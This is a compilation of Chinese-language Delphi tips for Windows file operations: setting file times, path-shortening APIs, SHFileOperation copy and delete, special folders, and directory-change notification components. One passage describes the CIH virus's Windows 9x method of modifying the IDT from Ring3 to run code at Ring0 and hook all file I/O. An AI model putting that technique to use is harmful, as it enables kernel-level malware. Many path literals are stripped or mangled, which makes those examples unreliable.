DosDateTimeToFileTime(LongRec(dwft).Hi, LongRec(dwft).Lo, ft);

LocalFileTimeToFileTime(ft, Result);

end;

begin

hDir := CreateFile(PChar(FileName),

GENERIC_READ or GENERIC_WRITE,

0,

nil,

OPEN_EXISTING,

FILE_FLAG_BACKUP_SEMANTICS,

0);

if hDir <> INVALID_HANDLE_VALUE then

begin

try

ftCreation := DTtoFT(dtCreation);

ftLastAccessTime := DTtoFT(dtLastAccessTime);

ftLastWriteTime := DTtoFT(dtLastWriteTime);

Result := SetFileTime(hDir, @ftCreation, @ftLastAccessTime, @ftLastWriteTime);

finally

CloseHandle(hDir);

end;

end

else

Result := False;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

NT_SetDateTime('c:', now, now, now);

end;


减少文件路径名的长度
如果有这样一个目录：

    c:.wav

我希望它能缩短成：

  c:...wav

    如何写程序呢？

function shortenfilename(s : string) : string;

var

drive,curdrive : string[2];

dir,curdir : string[80];

    name : string[20];

    ext : string[5];

    i : byte;

begin

  for i:=1 to length(s) do s[i]:=upcase(s[i]);

    s:=fexpand(s);

    fsplit(s,dir,name,ext);

  drive:=copy(dir,1,2);

dir:=copy(dir,4,length(dir)－3);

getdir(0,curdir);

  curdrive:=copy(curdir,1,2);

  curdir:=copy(curdir,4,length(curdir)－3)+‘;

  if drive=curdrive then begin

  if copy(dir,1,length(curdir))=curdir then begin

  i:=length(curdir);

  if length(dir)<>i then dir:=dir+‘;

  shortenfilename:=copy(dir,i+1,length(dir)－i－1)+name+ext;

  end else shortenfilename:=copy(s,3,length(s)－2);

end else shortenfilename:=s;

end;


文件路径Path函数API
我们编程时也许遇到过这样的问题：在一个Label或是Panel上显示路径，当路径过长显示不下的时候，希望像某些安装程序拷贝文件的时候那样把路径缩短，其中一

ShlWapi.pas下载：1.11kEllipsisPanel下载：1.58k部分用省略号代替，比如：

    C:Files->C:Files...

    自己编程实现并不难，不过不知什么原因，我一直没有动手做，忽然有一天，我看到了一篇文章，于是，一切问题迎刃而解，随之而来的，竟是意想不到的收获→

                                              ↓

    那是一段Visual Basic的程序，不过，我第一眼就看到了一个函数的声明：PathCompactPath：

    Private Declare Function PathCompactPath

             Lib "shlwapi" Alias "PathCompactPathA" ( _ ByVal hDC As Long,

                                                            ByVal lpszPath As String,

                                                            ByVal dx As Long) As Long

    经过几番修改，在Delphi中试验通过了，果然能够做到压缩路径的效果，但我更感兴趣的是，ShlWapi.dll中是不是还有不少可以用的好东东呢？打开MSDN，敲入“ShlWapi”一搜索，果然出现一堆（注意，是“一堆”）以“Path”开头的函数，欣喜之情，不在话下。于是我便一个个查看其功能，发现我们需要的关于路径的几乎所有功能都有相应的的函数可以调用，比如：

    PathAddBackslash、PathRemoveBackslash：在路径后面添加或去除“\u8221”；

    PathIsDirectory、PathIsHTMLFile、PathIsPrefix、PathIsRoot、PathIsURL……

    等等，随便试了几个，可以用，接着我又琢磨如何找出其中全部的函数声明，我知道很多动态链接库在MSDN上都有相应的头文件，这次也许不会例外。果然又被我猜中！ShlWapi.H确实存在。接下来的工作就比较烦了，花了些时间，以“查找、替换”大法为辅助，我把其中关于路径操作的函数声明做成了ShlWapi.pas（ShlWapi.H中包括几部分的函数声明：字符串、路径、注册表、注册表流、调色板，还有一个很有用的函数DllGetVirsion，完整的声明可以在这里下载）。

    再来说说PathComact（或者叫PathEllipsis），PathCompactPath函数需要设备的HDC做参数，使用起来可能会麻烦一点，所以还有另外一个函数PathCompactPathEx，参数与设备无关，不过关于字符和显示宽度的换算也有些地方需要推敲

*************

unit ShlWapi;

interface

uses

windows;

//

//=============== Path Routines ===================================

//

function PathAddBackslash(pszPath: LPSTR): LPSTR; stdcall; external 'shlwapi.dll' name 'PathAddBackslashA';

function PathAddExtension(pszPath: LPSTR; pszExt: LPCSTR): Bool; stdcall; external 'shlwapi.dll' name 'PathAddExtensionA';

function PathAppend(pszPath: LPSTR; pMore: LPCSTR): Bool; stdcall; external 'shlwapi.dll' name 'PathAppendA';

function PathBuildRoot(szRoot: LPSTR; iDrive: integer): LPSTR; stdcall; external 'shlwapi.dll' name 'PathBuildRootA';

function PathCanonicalize(pszBuf: LPSTR; pszPath: LPCSTR): Bool;stdcall; external 'shlwapi.dll' name 'PathCanonicalizeA';

function PathCombine(szDest: LPSTR; lpszDir: LPCSTR; lpszFile: LPCSTR): LPSTR;stdcall; external 'shlwapi.dll' name 'PathCombineA';

function PathCompactPath(hDC: HDC; lpszPath: Pchar; dx: integer): BOOL; stdcall; external 'shlwapi.dll' name 'PathCompactPathA';

function PathCompactPathEx(pszOut: LPSTR; pszSrc: LPCSTR; cchMax: Uint; dwFlags: DWORD ): BOOL;stdcall; external 'shlwapi.dll' name 'PathCompactPathExA';

function PathCommonPrefix(pszFile1: LPCSTR; pszFile2: LPCSTR; achPath: LPSTR): integer ;stdcall; external 'shlwapi.dll' name 'PathCommonPrefixA';

function PathFileExists(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathFileExistsA';

function PathFindExtension(pszPath: LPCSTR): LPSTR;stdcall; external 'shlwapi.dll' name 'PathFindExtensionA';

function PathFindFileName(pszPath: LPCSTR): LPSTR;stdcall; external 'shlwapi.dll' name 'PathFindFileNameA';

function PathFindNextComponent(pszPath: LPCSTR): LPSTR;stdcall; external 'shlwapi.dll' name 'PathFindNextComponentA';

//function PathFindOnPath(pszPath: LPSTR; LPCSTR* ppszOtherDirs): BOOL;stdcall; external 'shlwapi.dll' name 'PathFindOnPathA';

function PathGetArgs(pszPath: LPCSTR): LPSTR;stdcall; external 'shlwapi.dll' name 'PathGetArgsA';

function PathGetCharType(ch: UCHAR): Uint ;stdcall; external 'shlwapi.dll' name 'PathGetCharTypeA';

function PathGetDriveNumber(pszPath: LPCSTR): integer;stdcall; external 'shlwapi.dll' name 'PathGetDriveNumberA';

function PathIsDirectory(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsDirectoryA';

function PathIsFileSpec(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsFileSpecA';

function PathIsPrefix(pszPrefix: LPCSTR; pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsPrefixA';

function PathIsRelative(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsRelativeA';

function PathIsRoot(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsRootA';

function PathIsSameRoot(pszPath1: LPCSTR; pszPath2: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsSameRootA';

function PathIsUNC(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsUNCA';

function PathIsUNCServer(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsUNCServerA';

function PathIsUNCServerShare(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsUNCServerShareA';

function PathIsContentType(pszPath: LPCSTR; pszContentType: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsContentTypeA';

function PathIsURL(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsURLA';

function PathMakePretty(pszPath: LPSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathMakePrettyA';

function PathMatchSpec(pszFile: LPCSTR; pszSpec: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathMatchSpecA';

function PathParseIconLocation(pszIconFile: LPSTR): integer;stdcall; external 'shlwapi.dll' name 'PathParseIconLocationA';

procedure PathQuoteSpaces(lpsz: LPSTR);stdcall; external 'shlwapi.dll' name 'PathQuoteSpacesA';

function PathRelativePathTo(pszPath: LPSTR; pszFrom: LPCSTR; dwAttrFrom: DWORD ; pszTo: LPCSTR; dwAttrTo: DWORD ): BOOL;stdcall; external 'shlwapi.dll' name 'PathRelativePathToA';

procedure PathRemoveArgs(pszPath: LPSTR);stdcall; external 'shlwapi.dll' name 'PathRemoveArgsA';

function PathRemoveBackslash(pszPath: LPSTR): LPSTR;stdcall; external 'shlwapi.dll' name 'PathRemoveBackslashA';

procedure PathRemoveBlanks(pszPath: LPSTR);stdcall; external 'shlwapi.dll' name 'PathRemoveBlanksA';

procedure PathRemoveExtension(pszPath: LPSTR);stdcall; external 'shlwapi.dll' name 'PathRemoveExtensionA';

function PathRemoveFileSpec(pszPath: LPSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathRemoveFileSpecA';

function PathRenameExtension(pszPath: LPSTR; pszExt: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathRenameExtensionA';

function PathSearchAndQualify(pszPath: LPCSTR; pszBuf: LPSTR; cchBuf: Uint ): BOOL;stdcall; external 'shlwapi.dll' name 'PathSearchAndQualifyA';

procedure PathSetDlgItemPath(hDlg: HWND ; id: integer ; pszPath: LPCSTR);stdcall; external 'shlwapi.dll' name 'PathSetDlgItemPathA';

function PathSkipRoot(pszPath: LPCSTR): LPSTR;stdcall; external 'shlwapi.dll' name 'PathSkipRootA';

procedure PathStripPath(pszPath: LPSTR);stdcall; external 'shlwapi.dll' name 'PathStripPathA';

function PathStripToRoot(pszPath: LPSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathStripToRootA';

procedure PathUnquoteSpaces(lpsz: LPSTR);stdcall; external 'shlwapi.dll' name 'PathUnquoteSpacesA';

function PathMakeSystemFolder(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathMakeSystemFolderA';

function PathUnmakeSystemFolder(pszPath: LPCSTR): BOOL;stdcall; external 'shlwapi.dll' name 'PathUnmakeSystemFolderA';

function PathIsSystemFolder(pszPath: LPCSTR; dwAttrb: DWORD ): BOOL;stdcall; external 'shlwapi.dll' name 'PathIsSystemFolderA';

implementation

end.


复制、删除文件和目录
删除目录：

function DelDirectory(const Source:string): boolean;

var

fo: TSHFILEOPSTRUCT;

begin

FillChar(fo, SizeOf(fo), 0);

with fo do

begin

Wnd := 0;

wFunc := FO_DELETE;

pFrom := PChar(source+#0);

pTo := #0#0;

fFlags := FOF_NOCONFIRMATION+FOF_SILENT;

end;

Result := (SHFileOperation(fo) = 0);

end;

复制目录：

///复制Source整个目录到DEST目录，如果Dest不存在，自动建立，如果DEST存在，那么Source将作为Dest的子目录！

//例如如果要复制E:整个目录到E:\u37027那么代码为： copydirectory('e:','e:);

///如果要复制E:到E:目录下面，那么代码为：CopyDirecotry('E:','E:');

function CopyDirectory(const Source, Dest: string): boolean;

var

fo: TSHFILEOPSTRUCT;

begin

FillChar(fo, SizeOf(fo), 0);

with fo do

begin

Wnd := 0;

wFunc := FO_COPY;

pFrom := PChar(source+#0);

pTo := PChar(Dest+#0);

fFlags := FOF_NOCONFIRMATION+FOF_NOCONFIRMMKDIR ;

end;

Result := (SHFileOperation(fo) = 0);

end;

重新命名：

用MoveFile()或者下面的函数也可以。

RenameFile('c:','c:')好想也可以？Win2K。

//RenDirectory('d:','d:');

function RenDirectory(const OldName,NewName:string): boolean;

var

fo: TSHFILEOPSTRUCT;

begin

FillChar(fo, SizeOf(fo), 0);

with fo do

begin

Wnd := 0;

wFunc := FO_RENAME;

pFrom := PChar(OldName+#0);

pTo := pchar(NewName+#0);

fFlags := FOF_NOCONFIRMATION+FOF_SILENT;

end;

Result := (SHFileOperation(fo) = 0);

end;

//Copy 多个文件的处理：

function CopyFiles(const Source,Dest: string): boolean;

var

fo: TSHFILEOPSTRUCT;

begin

FillChar(fo, SizeOf(fo), 0);

with fo do

begin

Wnd := 0;

wFunc := FO_COPY;

pFrom := @source[1];

pTo :=pchar(dest);

fFlags := FOF_NOCONFIRMATION+FOF_NOCONFIRMMKDIR ;

end;

Result := (SHFileOperation(fo) = 0);

end;

procedure TForm1.Button1Click(Sender: TObject);

var

str:string;

i:integer;

begin

if opendialog1.Execute then

begin

for i:=0 to OpenDialog1.Files.Count-1 do

str:=str+OpenDialog1.Files.strings[i]+#0;

showmessage(str);

str:=str+#0;

CopyFiles(str,'d:');

end;

end;


如何取得某些特殊文件夹路径
如何取得某些特殊文件夹路径

在Windows 下有很多的特殊含义的文件夹，如桌面，网上邻居，字体，我的文档，

程序组，最近文档，发送到，开始菜单，启动等，有时可能需要取得这些文件夹

的真正路径。

一种方法是通过读注册表文件，存放在HKEY_CURRENT_USER根下，目录为：

Software

可看到在shell folder段中存放着上述文件夹所对应的实际物理目录，至于如何

读注册表的操作不再给出，请自行解决。

另一种方法是调用shell函数可以得到相应的目录，但是不是所有在shell folder

目录下的文件夹都可以获得，请注意。

function GetSpecialFolderDir(const folderid:integer):string;

var

pidl:pItemIDList;

buffer:array [ 0..255 ] of char ;

begin

//取指定的文件夹项目表

SHGetSpecialFolderLocation( application.Handle , folderid, pidl);

SHGetPathFromIDList(pidl, buffer); //转换成文件系统的路径

result:=strpas(buffer);

end;

其中：folderid可以取下面的值：但是请注意，有些是虚的文件夹，不是文件系统

的一部分，所以用SHGetPathFromIDList是取不出路径的，但是在此也列出了。打'*'

号的为不是真正的文件系统，应该用作它用。

CSIDL_BITBUCKET * 回收站

CSIDL_CONTROLS * 控制面板

CSIDL_DESKTOP * 桌面

CSIDL_DESKTOPDIRECTORY 桌面目录 //如C:

CSIDL_DRIVES * 我的电脑

CSIDL_FONTS 字体 //如C:

CSIDL_NETHOOD 网上邻居目录 //如C:

CSIDL_NETWORK * 网上邻居

CSIDL_PERSONAL 我的文档 //如C:Documents

CSIDL_PRINTERS * 打印机

CSIDL_PROGRAMS 程序组 //如C:Menu

CSIDL_RECENT 最近文档 //如C:

CSIDL_SENDTO 发送到 //如C:

CSIDL_STARTMENU 开始菜单 //如C:Menu

CSIDL_STARTUP 启动 //如C:\u21551启动

CSIDL_TEMPLATES 模版 //如C:


取的用户特殊目录
uses shlobj, activeX;

ShGetSpecialFolderLocation

procedure FreePidl(pidl: PItemIDList);

begin

CoTaskMemFree(pidl);

end;

procedure TForm1.Button1Click(Sender: TObject);

Var

pidl: PItemIDList;

buf: Array[0..MAX_PATH] of Char;

begin

If Succeeded( ShGetSpecialFolderLocation( Handle, CSIDL_PERSONAL, pidl ))

Then Begin

If ShGetPathfromIDList( pidl, buf ) Then

ShowMessage( buf );

FreePIDL( pidl );

End;

end;


实时侦测目录中文件变化？
在WIN32下用DELPHI侦测目录变化，可用WIN32提供的文件改变通知API来完成。FindFirstChangeNotification, FindNextChangeNotification，FindCloseChangeNotification。

在应用程序中调用这些函数时，产生一个监控这个变化的句柄，可用WAIT函数集来等待这个变化。这样，当监控程序运行时，可以达到监控文件变化的动作。更进一步，可把此程序做成一个状态区图标（TRAY）来完成监控。

Windows在删除、复制、移动、访问文件时并不发送消息，当然截获不到。要截取这些操作过程的唯一办法就是截获API，这又需要你编写Vxd程序了，杀毒软件都是这样作的。你注意一下杀毒软件一般都带有一个vxd程序。光有vxd还不行，还需截获文件API。还有另外一个办法，就是CIH病毒采用的办法，直接跳到系统零层去操作。具体办法如下：

一、SIDT指令（ 将中断描述符表寄存器IDTR－－64位宽，16～47Bit存有中断描述符表IDT基地址－－的内容存入指定地址单元）不是特权指令，就是说我们可以在Ring3下执行该指令，获得IDT的基地址，从而修改IDT，增加一个中断门安置我们的中断服务，一旦Ring3程序中产生此中断，VMM就会调用此中断服务程序，而此中断服务程序就运行在Ring0下了。这一点与在DOS下非常相似。

二、要实现对系统中所有文件I/O操作的实时监视，还要用到另一种关键技－FileHooking，通过挂接一个处理函数，截获所有与文件I/O操作有关的系 统调用。Windows9x使用32位保护模式可安装文件系统(IFS)，由可安装文件系统管理器(IFSManager)协调对文件系统和设备的访问，它接收以Win32API函数调用形式向系统发出的文件I/O请求，再将请求转给文件系统驱动程序FSD，由它调用低级别的IOS系统实现最终访问。每个文件I/OAPI调用都有一个特定的FSD函数与之对应，IFSManager负责完成由API到FSD的参数装配工作，在完成文件I/OAPI函数参数的装配之后转相应FSD执行之前，它会调用一个称为FileSystemApiHookFunction的Hooker函数。通过安装自己的Hooker函数，就可以截获系统内所有对文件I/O的API调用，从而实现实时监控。

=========================================

procedure TForm1.Button2Click(Sender: TObject);

begin

{establish a notification for file name changes on the selected directory}

NotificationHandle := FindFirstChangeNotification(PChar(DirectoryListBox1.Directory), FALSE,FILE_NOTIFY_CHANGE_FILE_NAME);

{if the notification was set up correctly, modify some UI elements...}

if (NotificationHandle <> INVALID_HANDLE_VALUE) then

begin

Button1.Enabled := TRUE;

Button2.Enabled := FALSE;

end

else

begin

{...otherwise indicate that there was an error}

ShowMessage('There was an error setting the notification');

Exit;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

dwResult: DWORD; // holds the result of waiting on the notification

Waiting: Boolean; // loop control variable

begin

{setup the loop control for a continuous loop}

Waiting := TRUE;

{indicate that the application is waiting for the change notification to fire}

Button1.Enabled := FALSE;

StatusBar1.SimpleText := 'Now waiting for a filename change';

Application.ProcessMessages;

{enter the loop}

while Waiting do

begin

{at this point, the application is suspended until the notification

object is signaled that a filename change has occured in the

selected directory (this includes file deletions)}

dwResult := WaitForSingleObject(NotificationHandle,INFINITE);

if (dwResult = WAIT_OBJECT_0) then

begin

{indicate that the notification object was signaled}

ShowMessage('The selected directory signaled a filename change');

{query the user to see if they wish to continue monitoring this

directory}

if Application.MessageBox('Do you wish to continue monitoring this directory?', 'Continue?', MB_ICONQUESTION or

MB_YESNO) = IDYES then

{if the user wishes to continue monitoring the directory, reset

the notification object and continue the loop...}

FindNextChangeNotification(NotificationHandle)

else

{...otherwise break out of the loop}

Waiting := FALSE;

end;

end;

{close the notification object}

FindCloseChangeNotification(NotificationHandle);

{reset UI elements}

Button1.Enabled := FALSE;

Button2.Enabled := TRUE;

StatusBar1.SimpleText := '';

FileListBox1.Update;

end;

===========================================

下面是一个监视的控件：

unit dirnotify;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms, Dialogs;

type

EDirNotificationError = class(Exception);

TDirNotify = class;

TNotifyFilter = (nfFileName, nfDirName, nfAttributes, nfSize, nfLastWrite,

nfSecurity);

TNotifyFilters = set of TNotifyFilter;

TNotificationThread = class(TThread)

Owner: TDirNotify;

procedure Execute; override;

procedure DoChange;

end;

TDirNotify = class(TComponent)

private

FEnabled: Boolean;

FOnChange: TNotifyEvent;

FNotificationThread: TNotificationThread;

FPath: String;

FWatchSubTree: Boolean;

FFilter: TNotifyFilters;

procedure SetEnabled( Value: Boolean );

procedure SetOnChange( Value: TNotifyEvent );

procedure SetPath( Value: String );

procedure SetWatchSubTree( Value: Boolean );

procedure SetFilter( Value: TNotifyFilters );

procedure RecreateThread;

protected

procedure Change;

procedure Loaded; override;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

property Enabled: Boolean read FEnabled write SetEnabled default True;

property OnChange: TNotifyEvent read FOnChange write SetOnChange;

property Path: String read FPath write SetPath;

property WatchSubTree: Boolean read FWatchSubTree write SetWatchSubTree;

property Filter: TNotifyFilters read FFilter write SetFilter default [nfFileName, nfDirName, nfAttributes, nfLastWrite, nfSecurity];

end;

procedure Register;

implementation

const

LASTERRORTEXTLENGTH = 500;

var

LastErrorText: array [0..LASTERRORTEXTLENGTH] of char;

function GetLastErrorText: PChar;

begin

FormatMessage( FORMAT_MESSAGE_FROM_SYSTEM,

nil, GetLastError, 0, LastErrorText, LASTERRORTEXTLENGTH, nil );

Result := LastErrorText;

end;

procedure TNotificationThread.Execute;

var

h: THandle;

nf: Longint;

wst: LongBool;

begin

nf := 0;

if (nfFileName in Owner.Filter) then nf := FILE_NOTIFY_CHANGE_FILE_NAME;

if (nfDirName in Owner.Filter) then nf := nf or FILE_NOTIFY_CHANGE_DIR_NAME;

if (nfAttributes in Owner.Filter) then nf := nf or FILE_NOTIFY_CHANGE_ATTRIBUTES;

if (nfSize in Owner.Filter) then nf := nf or FILE_NOTIFY_CHANGE_SIZE;

if (nfLastWrite in Owner.Filter) then nf := nf or FILE_NOTIFY_CHANGE_LAST_WRITE;

if (nfSecurity in Owner.Filter) then nf := nf or FILE_NOTIFY_CHANGE_SECURITY;

// yeahh, this one is stupid but Win98 malfunctions in any other value than 0 or 1

if Owner.FWatchSubTree then wst := Longbool(1)

else wst := Longbool(0);

h := FindFirstChangeNotification( Pointer(Owner.Path), wst, nf );

if (h = INVALID_HANDLE_VALUE) then

raise EDirNotificationError.Create( GetLastErrorText );

repeat

if (WaitForSingleObject( h, 1000 ) = WAIT_OBJECT_0) then

begin

Synchronize(DoChange);

if not FindNextChangeNotification( h ) then

raise EDirNotificationError.Create( GetLastErrorText );

end;

until Terminated;

end;

procedure TNotificationThread.DoChange;

begin

Owner.Change;

end;

constructor TDirNotify.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FEnabled := True;

FFilter := [nfFileName];

end;

destructor TDirNotify.Destroy;

begin

FNotificationThread.Free;

inherited Destroy;

end;

procedure TDirNotify.Loaded;

begin

inherited;

RecreateThread;

end;

procedure TDirNotify.SetEnabled(Value: Boolean);

begin

if Value <> FEnabled then

begin

FEnabled := Value;

RecreateThread;

end;

end;

procedure TDirNotify.SetPath( Value: String );

begin

if Value <> FPath then

begin

FPath := Value;

RecreateThread;

end;

end;

procedure TDirNotify.SetWatchSubTree( Value: Boolean );

begin

if Value <> FWatchSubTree then

begin

FWatchSubTree := Value;

RecreateThread;

end;

end;

procedure TDirNotify.SetFilter( Value: TNotifyFilters );

begin

if Value <> FFilter then

begin

FFilter := Value;

RecreateThread;

end;

end;

procedure TDirNotify.SetOnChange(Value: TNotifyEvent);

begin

FOnChange := Value;

end;

procedure TDirNotify.Change;

begin

if Assigned(FOnChange) then

FOnChange(Self);

end;

procedure TDirNotify.RecreateThread;

begin

// destroy thread

FNotificationThread.Free;

FNotificationThread := nil;

if FEnabled and not(csDesigning in ComponentState)

and not(csLoading in ComponentState) and (FPath <> '') then

begin

// create thread

FNotificationThread := TNotificationThread.Create(True);

FNotificationThread.Owner := self;

FNotificationThread.Resume;

end;

end;

procedure Register;

begin

RegisterComponents('System', [TDirNotify]);

end;

end.


Explorer Shell通知
下面是一个控件。

在资源管理器中修改、删除等操作之后，我的程序如何知道？实际上就是监视硬盘上面的文件及其变化。

这个还需要修改一些事件和属性

还可以动态增加监视的驱动器

似乎不可以用多个构件来监视不同的地方，不过我发现原来这样是可以的

SHILCreatefromPath( PChar('c:), Addr(Pidl), Attributes);

NotifyRecord^.pidlPath := Pidl;

NotifyRecord^.bWatchSubtree := fWatch;

SHILCreatefromPath( PChar('d:), Addr(Pidl), Attributes);

NotifyRecord^.pidlPath := Pidl;

NotifyRecord^.bWatchSubtree := fWatch;

----------------------------------------------------------------

不过，这个监视无法实现文件大小变化的处理，因为 ShellNotifyRegister 根本没有这样的参数可以使用。 我也不知道怎么办，你有办法吗？

{$IFNDEF VER80} {$IFNDEF VER90} {$IFNDEF VER93}

{$DEFINE Delphi3orHigher}

{$ENDIF} {$ENDIF} {$ENDIF}

unit ShellNotifyCom;

interface

uses Windows, Messages, SysUtils, Classes, Controls, Forms, Dialogs,

{$IFNDEF Delphi3orHigher} OLE2, {$ELSE} ActiveX, ComObj, {$ENDIF}

ShlObj,Graphics;

type

NOTIFYREGISTER = record

pidlPath : PItemIDList;

bWatchSubtree : boolean;

end;

PNOTIFYREGISTER = ^NOTIFYREGISTER;

const

SNM_SHELLNOTIFICATION = WM_USER +1;

SHCNF_ACCEPT_INTERRUPTS = $0001;

SHCNF_ACCEPT_NON_INTERRUPTS = $0002;

SHCNF_NO_PROXY = $8000;

type

TNotificationEvent = (neAssociationChange, neAttributesChange,

neFileChange, neFileCreate, neFileDelete, neFileRename,

neDriveAdd, neDriveRemove, neShellDriveAdd, neDriveSpaceChange,

neMediaInsert, neMediaRemove, neFolderCreate, neFolderDelete,

neFolderRename, neFolderUpdate, neNetShare, neNetUnShare,

neServerDisconnect, neImageListChange);

TNotificationEvents = set of TNotificationEvent;

TShellNotificationEvent1 = procedure(Sender: TObject;

Path: String)of Object;

TShellNotificationEvent2 = procedure(Sender: TObject;

path1, path2: String) of Object;

// TShellNotificationAttributesEvent = procedure(Sender: TObject;

// OldAttribs, NewAttribs: Integer) of Object;

TShellNotification = class( TComponent )

private

fWatchEvents: TNotificationEvents;

fPath: String;

fActive, fWatch: Boolean;

prevPath1, prevPath2: String;

PrevEvent: Integer;

Handle, NotifyHandle: HWND;

fOnAssociationChange: TNotifyEvent;

fOnAttribChange: TShellNotificationEvent2;

FOnCreate: TShellNotificationEvent1;

FOnDelete: TShellNotificationEvent1;

FOnDriveAdd: TShellNotificationEvent1;

FOnDriveAddGui: TShellNotificationEvent1;

FOnDriveRemove: TShellNotificationEvent1;

FOnMediaInsert: TShellNotificationEvent1;

FOnMediaRemove: TShellNotificationEvent1;

FOnDirCreate: TShellNotificationEvent1;

FOnNetShare: TShellNotificationEvent1;

FOnNetUnShare: TShellNotificationEvent1;

FOnRenameFolder: TShellNotificationEvent2;

FOnItemRename: TShellNotificationEvent2;

FOnFolderRemove: TShellNotificationEvent1;

FOnServerDisconnect: TShellNotificationEvent1;

FOnFolderUpdate: TShellNotificationEvent1;

function PathFromPidl(Pidl: PItemIDList): String;

procedure SetWatchEvents(const Value: TNotificationEvents);

function GetActive: Boolean;

procedure SetActive(const Value: Boolean);

procedure SetPath(const Value: String);

procedure SetWatch(const Value: Boolean);

protected

procedure ShellNotifyRegister;

procedure ShellNotifyUnregister;

procedure WndProc(var Message: TMessage);

procedure DoAssociationChange; dynamic;

procedure DoAttributesChange(Path1, Path2: String); dynamic;

procedure DoCreateFile(Path: String); dynamic;

procedure DoDeleteFile(Path: String); dynamic;

procedure DoDriveAdd(Path:String); dynamic;

procedure DoDriveAddGui(Path: String); dynamic;

procedure DoDriveRemove(Path: String); dynamic;

procedure DoMediaInsert(Path: String); dynamic;

procedure DoMediaRemove(Path: String); dynamic;

procedure DoDirCreate(Path: String); dynamic;

procedure DoNetShare(Path: String); dynamic;

procedure DoNetUnShare(Path: String); dynamic;

procedure DoRenameFolder(Path1, Path2: String); dynamic;

procedure DoRenameItem(Path1, Path2: String); dynamic;

procedure DoFolderRemove(Path: String); dynamic;

procedure DoServerDisconnect(Path: String); dynamic;

procedure DoDirUpdate(Path: String); dynamic;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

property Path: String read fPath write SetPath;

property Active: Boolean read GetActive write SetActive;

property WatchSubTree: Boolean read fWatch write SetWatch;

property WatchEvents: TNotificationEvents

read fWatchEvents write SetWatchEvents;

property OnAssociationChange: TNotifyEvent

read fOnAssociationChange write FOnAssociationChange;

property OnAttributesChange: TShellNotificationEvent2

read fOnAttribChange write fOnAttribChange;

property OnFileCreate: TShellNotificationEvent1

read FOnCreate write FOnCreate;

property OnFolderRename: TShellNotificationEvent2

read FOnRenameFolder write FOnRenameFolder;

property OnFolderUpdate: TShellNotificationEvent1

read FOnFolderUpdate write FOnFolderUpdate;

property OnFileDelete: TShellNotificationEvent1

read FOnDelete write FOnDelete;

property OnDriveAdd: TShellNotificationEvent1

read FOnDriveAdd write FOnDriveAdd;

property OnFolderRemove: TShellNotificationEvent1

read FOnFolderRemove write FOnFolderRemove;

property OnItemRename: TShellNotificationEvent2

read FOnItemRename write FOnItemRename;

property OnDriveAddGui: TShellNotificationEvent1

read FOnDriveAddGui write FOnDriveAddGui;

property OnDriveRemove: TShellNotificationEvent1

read FOnDriveRemove write FOnDriveRemove;

property OnMediaInserted: TShellNotificationEvent1

read FOnMediaInsert write FOnMediaInsert;

property OnMediaRemove: TShellNotificationEvent1

read FOnMediaRemove write FOnMediaRemove;

property OnDirCreate: TShellNotificationEvent1

read FOnDirCreate write FOnDirCreate;

property OnNetShare: TShellNotificationEvent1

read FOnNetShare write FOnNetShare;

property OnNetUnShare: TShellNotificationEvent1

read FOnNetUnShare write FOnNetUnShare;

property OnServerDisconnect: TShellNotificationEvent1

read FOnServerDisconnect write FOnServerDisconnect;

end;

function SHChangeNotifyRegister( hWnd: HWND; dwFlags: integer;

wEventMask : cardinal; uMsg: UINT; cItems : integer;

lpItems : PNOTIFYREGISTER) : HWND; stdcall;

function SHChangeNotifyDeregister(hWnd: HWND) : boolean; stdcall;

function SHILCreateFromPath(Path: Pointer; PIDL: PItemIDList;

var Attributes: ULONG):HResult; stdcall;

procedure Register;

implementation

const Shell32DLL = 'shell32.dll';

function SHChangeNotifyRegister; external Shell32DLL index 2;

function SHChangeNotifyDeregister; external Shell32DLL index 4;

function SHILCreateFromPath; external Shell32DLL index 28;

{ TShellNotification }

constructor TShellNotification.Create(AOwner: TComponent);

begin

inherited Create( AOwner );

if not (csDesigning in ComponentState) then

Handle := AllocateHWnd(WndProc);

end;

destructor TShellNotification.Destroy;

begin

if not (csDesigning in ComponentState) then

Active := False;

if Handle <> 0 then DeallocateHWnd( Handle );

inherited Destroy;

end;

procedure TShellNotification.DoAssociationChange;

begin

if Assigned( fOnAssociationChange ) and (neAssociationChange in fWatchEvents) then

fOnAssociationChange( Self );

end;

procedure TShellNotification.DoAttributesChange;

begin

if Assigned( fOnAttribChange ) then

fOnAttribChange( Self, Path1, Path2 );

end;

procedure TShellNotification.DoCreateFile(Path: String);

begin

if Assigned( fOnCreate ) then

FOnCreate(Self, Path)

end;

procedure TShellNotification.DoDeleteFile(Path: String);

begin

if Assigned( FOnDelete ) then

FOnDelete(Self, Path);

end;

procedure TShellNotification.DoDirCreate(Path: String);

begin

if Assigned( FOnDirCreate ) then

FOnDirCreate( Self, Path );

end;

procedure TShellNotification.DoDirUpdate(Path: String);

begin

if Assigned( FOnFolderUpdate ) then

FOnFolderUpdate(Self, Path);

end;

procedure TShellNotification.DoDriveAdd(Path: String);

begin

if Assigned( FOnDriveAdd ) then

FOnDriveAdd(Self, Path);
